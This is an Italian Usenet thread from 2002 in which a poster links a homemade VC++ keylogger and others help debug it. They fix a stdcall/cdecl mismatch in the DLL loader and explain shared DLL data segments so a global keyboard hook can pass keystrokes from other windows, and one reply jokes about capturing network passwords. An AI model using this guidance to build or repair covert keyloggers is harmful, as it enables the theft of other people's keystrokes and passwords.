Newsgroup: it.comp.programmare.win32
Titolo: KeyLogger funzionante in VC

Per chi voleva un keylogger in VC++ ...
http://spazioinwind.libero.it/486/KeyLogger.zip
Attenzione che parte ma... non si ferma.
Se lo fermo con la funzione apposita va in crash. Bho?
Se qualcuno capisce il perchč...
Ho provato ad includere il sorgente dell'exe in un altro progetto (che
usa i socket e i thread) e succede una cosa cosě strana che ho
lasciato perdere.
Carico la dll con Loadlibrary("nome.dll");
prendo l'indirizzo con la GetProcAddress
chiamo la funzione e crash!!
Se perň prima di chiamare la funzione uso una itoa (che non c'entra
nulla, ma si trovava per caso) tutto funziona... bho?
	instDLL = LoadLibrary((LPCTSTR)"keydll.dll"); 
 
	char bif[100];
	itoa(11,bif,16); //se questa non c'č... crash!! Ma perchč
cazzo, che c'entra? Non fa niente di utile..
	ferma=(fermaD)GetProcAddress(hinstDLL,"ferma");
	parti=(partiD)GetProcAddress(hinstDLL,"parti");
	parti(ewh); //il parametro č l'handle della window dell'EXE
che deve pescare i messaggi.
Ringrazio comunque quelli che, passo passo, mi hanno risolto molti
problemi...
Augh!

On Tue, 03 Dec 2002 09:21:07 +0100, Vinz486
<x_vincenzo_x_tarricone_x_@_x_inwind.it_x> wrote:
bello ! ma ha un problema, non logga (almeno da me) la password di
rete ... eheheheh
ciao, complimenti un lavoro carino


 Se qualcuno capisce il perchč...
Su Windows XP non sembra andare in crash e il logging termina, comunque ho
trovato un errore (occhio alle convenzioni di chiamata!).
Nella DLL esporti le 2 funzioni parti e ferma come ccall e nell'exe le
importi come stdcall!!!
Basta che nell'exe sostituisci le due righe originali con queste:
typedef void (* partiD)(HWND);
typedef void (* fermaD)(void);
Nel tuo caso:
push    HWND            ; esp -= 4
call    parti
Visto che hai importato la funzione come stdcall, il compilatore si aspetta
che il parametro HWND venga "eliminato" dallo stack dalla funzioni parti,
invece essendo quest'ultima definita come ccall, non lo elimina.
La sequenza corretta č:
push    HWND        ; esp -= 4
call    parti
add    esp, 4            ; esp += 4
Kiuhnm


ecco questo č sempre stato il mio problema..... la KeyboardProc riceve
correttamente tutti i tasti premuti, ma poi, quando mando un messaggio alla
mia applicazione,
lo manda all'applicazione dove č stato premuto il tasto!!!!
io registro l'hWnd della mia applicazione in una variabile globale della
dll, e se il tasto viene premuto sulla mia applicazione tutto funziona
correttamente, se lo premo in un
altra finestra, alla mia applicazione non arriva nulla.... l'hWnd si perde
=(((
ke devo fare?????

  Se fai una ricerca con "shared DLL" , trovi tutto.
Il problema è proprio ke io la memorizzo in un aria di memoria condivisa...
perlomeno credo, per condivedere l'area ho messo nelle "opzioni" del linker
/SECTION:.area_condivisa,RWS
e poi ho dichiarato l'handle sotto alla riga
#pragma data_seg (".area_condivisa")
non basta??? su msdn ho letto ke devo dichiarare l'area condivisa in un file
.def, poi linkarlo ad un file .exp, ecc.ecc., ma non c'ho capito una mazza
:)


Ce l'ho fatta =)  è ke ho capito solo ora che le variabili vanno
inizializzate, altrimenti vengono messe nella normale area di memoria ;o)
tutto sto casino x un ... = NULL;   =D

 vero ?
solo l'edizione standard, quella senza l'ottimizzatore
-- 
 < 
http://www.reactos.com/
 >  Open source clone of Windows NT. Current
     Don't stand, REACT!      version 0.0.20. C, C++ and ASM developers
                              and beta testers are welcome!

 È compreso di linker ?
il linker lo trovi già ovunque. Comunque sì, c'è anche quello
